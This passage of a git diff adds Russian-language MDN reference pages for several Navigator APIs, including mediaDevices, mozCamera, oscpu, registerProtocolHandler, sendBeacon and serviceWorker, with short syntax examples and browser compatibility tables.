+<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>mediaDevices</em> = navigator.mediaDevices;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("MediaDevices")}} объект синглтон. Как правило, вы просто используете элементы этого объекта напрямую, например с помощью вызова {{domxref("navigator.mediaDevices.getUserMedia()")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: The entry point to the documentation about the entire media stream API.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>: Documentation about the WebRTC API, which is closely related.</li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
new file mode 100644
index 0000000000..e8a42e9207
--- /dev/null
+++ b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
@@ -0,0 +1,32 @@
+---
+title: Navigator.mozAudioChannelManager
+slug: Web/API/Navigator/mozAudioChannelManager
+translation_of: Archive/B2G_OS/API/Navigator/mozAudioChannelManager
+---
+<p>{{APIRef("Firefox OS")}}{{Non-standard_header}}</p>
+
+<p>Объект <code>navigator.mozAudioChannelManager</code> предоставляющий доступ к интерфейсу  {{domxref("mozAudioChannelManager")}} который используется для  управления аудио каналами вашего устроства Firefox OS включая настройки эффекта громкости канала, когда <span id="result_box" lang="ru"><span class="hps">кнопки регулировки громкости</span> <span class="hps">нажимаются</span> <span class="hps">внутри</span> <span class="hps">конкретного</span> <span class="hps">приложения.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var mgr = window.navigator.mozAudioChannelManager;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A {{domxref("mozAudioChannelManager")}} object.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Specifications")}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Browser_compatibility")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("mozAudioChannelManager")}}</li>
+ <li><a href="/en-US/Apps/Build/App_permissions">Приложения доступные в Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Использование AudioChannels API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozcamera/index.html b/files/ru/web/api/navigator/mozcamera/index.html
new file mode 100644
index 0000000000..620fba2e0e
--- /dev/null
+++ b/files/ru/web/api/navigator/mozcamera/index.html
@@ -0,0 +1,43 @@
+---
+title: Navigator.mozCamera
+slug: Web/API/Navigator/mozCamera
+translation_of: Archive/B2G_OS/API/Navigator/mozCamera
+---
+<p>{{APIRef("Firefox OS")}}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{B2GOnlyHeader2('privileged')}}</p>
+
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p>Возвращает объект {{ domxref("CameraManager") }} который вы можите использовать для доступа к камере доступной на устройстве пользователя.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var camera = window.navigator.mozCamera;
+</pre>
+
+<h2 id="Value" name="Value">Значение</h2>
+
+<p><code>navigator.mozCamera</code> это объект {{domxref("CameraManager")}} который вы можете использовать для доступа к камере доступной на устройстве.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является еще частю какой-либо спецификации;<span id="result_box" lang="ru"><span class="hps"> Оно</span><span>, вероятно, будет</span> <span class="hps">заменен</span>о на <span class="hps">WebRTC</span><span>, когда</span> <span class="hps">оно получит</span> <span class="hps">более</span> <span class="hps">широкую поддержку</span> <span class="hps">на мобильных устройствах</span><span>.</span></span></p>
+
+<h2 id="Права_доступа">Права доступа</h2>
+
+<p>До Firefox OS 1.4,  API камеры было сертифицированным API, недоступным для сторонних приложений. С Firefox OS 2.0 и далее,  Уровень доступа был понижен до привелигированного, так что теперь доступно для разработчиков сторонних приложений.</p>
+
+<pre class="brush: json">"permissions": {
+  "camera": {
+    "description": "Required for accessing cameras on the device."
+  }
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/mozl10n/index.html b/files/ru/web/api/navigator/mozl10n/index.html
new file mode 100644
index 0000000000..590d3238cd
--- /dev/null
+++ b/files/ru/web/api/navigator/mozl10n/index.html
@@ -0,0 +1,38 @@
+---
+title: Navigator.mozL10n
+slug: Web/API/Navigator/mozL10n
+tags:
+  - API
+  - Firefox OS
+  - Localization
+  - Reference
+  - Référence(2)
+  - Локализация
+  - Справка
+  - Справка(2)
+translation_of: Archive/B2G_OS/API/Navigator/mozL10n
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<p><span class="seoSummary"><code>navigator.mozL10n</code> возвращает объект {{ domxref("L10n") }}, который вы можете использовать для доступа к ресурсам локализации и реагировать на события локализации.</span></p>
+
+<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">var l10n = navigator.mozL10n;
+</pre>
+
+<h2 id="Значение" name="Значение">Значение</h2>
+
+<p><code>navigator.mozL10n</code> возвращает объект{{domxref("L10n")}}.</p>
+
+<h2 id="Спецификация" name="Спецификация">Спецификация</h2>
+
+<p>Не имеет спецификации. Заметим, что в будущем этот API будет заменен на <a href="ru/docs/L20n">L20n</a>.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("L10n")}}</li>
+ <li><a href="/en-US/Apps/Build/Localization">Локализация приложений</a></li>
+ <li><a href="/en-US/docs/L20n">L20n</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/moznfc/index.html b/files/ru/web/api/navigator/moznfc/index.html
new file mode 100644
index 0000000000..8e21ea296b
--- /dev/null
+++ b/files/ru/web/api/navigator/moznfc/index.html
@@ -0,0 +1,43 @@
+---
+title: Navigator.mozNfc
+slug: Web/API/Navigator/mozNfc
+translation_of: Archive/B2G_OS/API/Navigator/mozNfc
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <code>mozNfc</code> возвращает объект {{ domxref("MozNFC") }} который может быть использован для доступа к функциональности Firefox OS's NFC: Near Field Communication (NFC)  это радио технология малой дальности, используемая для обмена данными и тегами между мобильными устройствами прижатыми друг к другу или находящимися близко друг к другу.</p>
+
+<p>Для получения детальной иформации о NFC, прочтите <a href="/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Использование NFC API</a> и изучите <a href="/en-US/docs/Web/API/NFC_API">NFC справку</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var nfc = navigator.mozNfc;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>navigator.mozNfc</code> возвращает объект {{ domxref("MozNFC") }}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/NFC_API","Browser_compatibility")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>{{page("/en-US/docs/Web/API/NFC_API","Specification")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Using the NFC API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_emulator">Using the NFC emulator</a></li>
+ <li><a href="/en-US/docs/Web/API/NFC_API">NFC reference landing page</a></li>
+ <li>Related W3C APIs:
+  <ul>
+   <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#idl-def-NFCPeer">NFCPeer spec </a></li>
+   <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#nfctag-interface">NFCTag spec</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/navigator/oscpu/index.html b/files/ru/web/api/navigator/oscpu/index.html
new file mode 100644
index 0000000000..01d37fd10e
--- /dev/null
+++ b/files/ru/web/api/navigator/oscpu/index.html
@@ -0,0 +1,80 @@
+---
+title: Navigator.oscpu
+slug: Web/API/Navigator/oscpu
+translation_of: Web/API/Navigator/oscpu
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p><span lang="ru"><span class="hps">Возвращает</span> <span class="hps">строку, которая идентифицирует</span> <span class="hps">текущую операционную систему.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>oscpuInfo</em> = window.navigator.oscpu
+</pre>
+
+<ul>
+ <li><code>oscpuInfo</code> это строка которая имеет следующий вид:</li>
+</ul>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Операционная система</th>
+   <th><code>Формат строки oscpuInfo</code></th>
+  </tr>
+  <tr>
+   <td>OS/2</td>
+   <td>OS/2 Warp x (either 3, 4 or 4.5)</td>
+  </tr>
+  <tr>
+   <td>Windows CE</td>
+   <td>WindowsCE x.y<sup>1</sup></td>
+  </tr>
+  <tr>
+   <td>Windows 64-bit (64-bit build)</td>
+   <td>Windows NT x.y; Win64; x64</td>
+  </tr>
+  <tr>
+   <td>Windows 64-bit (32-bit build)</td>
+   <td>Windows NT x.y; WOW64</td>
+  </tr>
+  <tr>
+   <td>Windows 32-bit</td>
+   <td>Windows NT x.y</td>
+  </tr>
+  <tr>
+   <td>Mac OS X (PPC build)</td>
+   <td>PPC Mac OS X x.y</td>
+  </tr>
+  <tr>
+   <td>Mac OS X (i386/x64 build)</td>
+   <td>Intel Mac OS X x.y</td>
+  </tr>
+  <tr>
+   <td>Linux 64-bit (32-bit build)</td>
+   <td>Вывод uname -s плюс "i686 on x86_64"</td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>Вывод uname -sm</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><sup>1</sup>x.y <span class="short_text" id="result_box" lang="ru"><span class="hps">относится к</span> <span class="hps">версии операционной</span> <span class="hps">системы</span></span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">function osInfo() {
+  alert(window.navigator.oscpu);
+}
+// returns: "Windows NT 6.0" for example
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">ваш код</span> <span class="hps">не</span> <span class="hps">является привилегированным</span> <span class="hps">(</span></span>chrome<span lang="ru"> <span class="hps">или по крайней мере</span> <span class="hps">имеет привилегию</span> <span class="hps">UniversalBrowserRead</span><span>)</span><span>,</span> <span class="hps">он может получить</span> <span class="hps">значение</span> <span class="hps">general.oscpu.override</span><span>, а не</span> <span class="hps">истинной</span> <span class="hps">платформы</span><span>.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не является частью какой-либо спецификации.</em></p>
diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..4a15615d8d
--- /dev/null
+++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,119 @@
+---
+title: Navigator.registerProtocolHandler()
+slug: Web/API/Navigator/registerProtocolHandler
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<p id="Summary">{{APIRef("HTML DOM")}}</p>
+
+<p>Позволяет веб-сайтам зарегистрировать себя как возможный обработчик  для конкретных протоколов.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрестную обработку веб-сайтов  в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Расширения могут</span> <span class="hps">регистрировать обработчики</span> <span class="hps">протоколов</span><span>, направленные</span> <span class="hps">другие сайты</span><span>: </span></span>см. "Смотрите также" раздел как использовать их с XPCOM.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.navigator.registerProtocolHandler(<em>protocol</em>, <em>uri</em>, <em>title</em>);
+</pre>
+
+<ul>
+ <li><code>protocol</code> это протокол нуждающийся в обработке, записанный в виде строки.</li>
+ <li><code>uri</code> это URI обработчика в виде строки. Вы можете включить "%s", что бы показать куда вставлять  выходящие URI документа для обработки.
+  <div class="note">
+  <p>Примечание: ДОЛЖНА быть <code>http </code>или <code>https </code>схема</p>
+  </div>
+ </li>
+ <li>
+  <p><code>title</code> это заголовок обработчика, представленный пользователю в виде строки.</p>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Если ваше веб-приложение находится по адресу <code><span class="nowiki">http://www.google.co.uk</span></code>, вы можете зарегистрировать обработчик протокола и привязать  обращение к нему "burger", как это:</p>
+
+<pre class="eval">navigator.registerProtocolHandler("burger",
+                                  "http://www.google.co.uk/?uri=%s",
+                                  "Burger handler");
+</pre>
+
+<p><br>
+ Это создаст обработчик, который разрешает <code>burger://</code>ссылки, направляющие пользователя на ваше веб-приложение, вставляя burger информацию <span id="result_box" lang="ru"><span>указанную в ссылке</span> <span class="hps">на</span> <span class="hps">URL.</span></span> <span id="result_box" lang="ru"><span class="hps">Напомним, что</span> <span class="hps">этот скрипт</span> <span class="hps">должен быть запущен</span> <span class="hps">с того же домена </span></span>(так и слюбой странице расположенной в <code>google.co.uk</code>) и второе, переданный аргумент должен быть <code>http </code>или <code>https</code> схемы (в этом примере это <code>http</code>) .</p>
+
+<p><span id="result_box" lang="ru"><span>Пользователь</span> <span class="hps">будет уведомлен</span> <span class="hps">о</span> <span class="hps">регистрации этого</span> <span class="hps">протокола</span></span>, для примера смотрите на изображение ниже.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9683/protocolregister.png" style="display: block; height: 401px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: "<a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Регистрация службы веб-почты, как mailto-обработчик</a>", показывает как сделать это в рамках XPCOM.</p>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Specified by the WHATWG's <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 working draft</a> (HTML5).</p>
+
+<h2 id="See_also" name="See_also">Совместимомть с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>13</p>
+
+    <p>Белый лист протоколов включает в себя: mailto, mms, nntp, rtsp, и webcal. Обычные протоколы должны быть с префиксом "web+".</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Opera 11.60</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("3.5") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en/Web-based_protocol_handlers" title="en/Web-based_protocol_handlers">Web-based protocol handlers</a></li>
+ <li><a class="external" href="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/" title="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/">RegisterProtocolHandler Enhancing the Federated Web</a> at Mozilla Webdev</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#whitelisted-scheme">Web Application APIs - Custom scheme and content handlers - Whitelisted schemes</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Register a webmail service as mailto handler</a> shows how to do <code>registerProtocolHandler</code> from XPCOM scope.</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#registerProtocolHandler">XPCOM Interface Reference &gt; nsIWebContentHandlerRegistrar &gt; registerContentHandler</a> - This shows how to use this function XPCOM scope</li>
+</ul>
+
+<p>{{ languages( { "es": "es/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DObrM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "pl": "pl/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler" } ) }}</p>
diff --git a/files/ru/web/api/navigator/sendbeacon/index.html b/files/ru/web/api/navigator/sendbeacon/index.html
new file mode 100644
index 0000000000..c4db690393
--- /dev/null
+++ b/files/ru/web/api/navigator/sendbeacon/index.html
@@ -0,0 +1,104 @@
+---
+title: Navigator.sendBeacon()
+slug: Web/API/Navigator/sendBeacon
+tags:
+  - API
+  - Beacon
+  - sendBeacon
+  - Маяк
+  - Производительность
+  - метод
+  - сеть
+translation_of: Web/API/Navigator/sendBeacon
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <code><strong>navigator.sendBeacon()</strong></code> используется для асинхронной передачи небольшого количества информации поверх {{Glossary("HTTP")}} веб-серверу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.sendBeacon(<em>url [</em>, <em>data]</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Параметр <code>url</code> устанавливает адрес, на который будут переданы данные параметра <code>data</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>data</code> {{optional_inline}}</dt>
+ <dd>Параметр <code>data</code> может содержать объект типа {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}, который будет передан.</dd>
+</dl>
+
+<div class="note">
+<p>Использует метод POST при передаче данных</p>
+</div>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p><code><strong>sendBeacon()</strong></code> возвращает <code>true</code>, если браузер успешно поставил данные <code>data</code> в очередь отправления, в ином случае <code>false</code>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод предназначен, главным образом, для передачи данных аналитики и диагностики на сервер, перед тем как страница будет закрыта. Так как отправление данных до закрытия страницы может привести к не достаточно полному сбору информации. Стандартный асинхронный {{domxref("XMLHttpRequest")}} не подходит для этих целей, потому что большинство браузеров игнорируют его в событии {{event("unload")}}.</p>
+
+<p>Для решения этой проблемы ранее использовали синхронный <code>XMLHttpRequest</code> вызванный в событии <code>unload</code> или {{event("beforeunload")}} с данными для передачи. Синхронный <code>XMLHttpRequest</code> блокирует процесс выгрузки документа и текущая страница закрывается не сразу. Ситуация усугубляется, если пользователь уходит с вашей страницы по ссылке или нажимает кнопку "назад". Новая страница не будет загружена в этой вкладке, пока не выгрузится старая. В глазах пользователя, новая страница выглядит заторможенной, хотя на самом деле, это связанно с текущей, выгружаемой, страницей.</p>
+
+<p>Существуют и другие способы обойти эту проблему. Один из них - создание элемента {{HTMLElement("img")}} и установка аттрибута <code>src</code> в событии выгрузки. Это может сработать, потому что большинство браузеров остановят основной процесс, а вместе с ним и выгрузку страницы, до загрузки изображения. Ещё один способ - создать пустой цикл на несколько секунд, таким образом придержав основной поток и дав асинхронному <code>XMLHttpRequest</code> выполниться.</p>
+
+<p>Но, проблема в том, что все эти методы не надёжны и приводят к значительным задержкам отклика интерфейса браузера. Не говоря о том, что всё это - плохой стиль написания кода.</p>
+
+<p>В примере ниже показан код отправления аналитики при помощи синхронного <code>XMLHttpRequest</code> в событии выгрузки страницы. Это решение приведёт к задержке отклика интерфейса браузера. Не используйте это.</p>
+
+<pre class="brush: js">window.addEventListener("unload", logData, false);
+
+function logData() {
+  var client = new XMLHttpRequest();
+  client.open("POST", "/log", false); // последний параметр устанавливает синхронный стиль
+  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+  client.send(analyticsData);
+}
+</pre>
+
+<p>Здесь-то и найдётся применение <code><strong>sendBeacon()</strong></code>. При использовании метода <code>sendBeacon()</code>, данные будут переданы на сервер асинхронно, как только браузер найдёт оптимальный момент для этого. Это не вызовет задержек выгрузки и не повлияет на время загрузки следующей страницы. Решает все проблемы при отправлении аналитики: данные надёжно доставляются, это происходит асинхронно, не влияет на время выгрузки и загрузки страниц. Кроме того, код выглядит проще, чем при использовании прочих ухищрений.</p>
+
+<p>Следующий пример покажет, как сделать отправление аналитики красиво и просто с помощью <code>sendBeacon()</code>.</p>
+
+<pre class="brush: js">window.addEventListener("unload", logData, false);
+
+function logData() {
+  navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Beacon', '#sec-sendBeacon-method', 'sendBeacon()')}}</td>
+   <td>{{Spec2('Beacon')}}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице основана на структурированных данных. Если вы хотите помочь с этим, пожалуйста, перейдите по ссылке <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Navigator.sendBeacon")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("navigator", "navigator")}}</li>
+ <li>{{domxref("WorkerNavigator.sendBeacon()")}} (Использование <code>sendBeacon()</code> в workers)</li>
+</ul>
diff --git a/files/ru/web/api/navigator/serviceworker/index.html b/files/ru/web/api/navigator/serviceworker/index.html
new file mode 100644
index 0000000000..ed2132ddc3
--- /dev/null
+++ b/files/ru/web/api/navigator/serviceworker/index.html
@@ -0,0 +1,95 @@
+---
+title: Navigator.serviceWorker
+slug: Web/API/Navigator/serviceWorker
+translation_of: Web/API/Navigator/serviceWorker
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Свойство только-для-чтения <strong>Navigator.serviceWorker </strong>возвращает объект {{domxref("ServiceWorkerContainer")}}, который предоставляет доступ к регистрации, удалению, обновлению и взаимодействию с объектами {{domxref("ServiceWorker")}} для <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">соответствующего документа</a>.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтаксис</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">var <var>workerContainerInstance</var> = navigator.serviceWorker;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("ServiceWorkerContainer")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#navigator-service-worker', 'navigator.serviceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" style="line-height: 30px; font-size: 2.14285714285714rem;">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Свойство</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("33.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Свойство</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">Firefox OS</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html
new file mode 100644
index 0000000000..94c9f00334
--- /dev/null
+++ b/files/ru/web/api/navigator/vibrate/index.html
@@ -0,0 +1,107 @@
+---
+title: Navigator.vibrate()
+slug: Web/API/Navigator/vibrate
+translation_of: Web/API/Navigator/vibrate
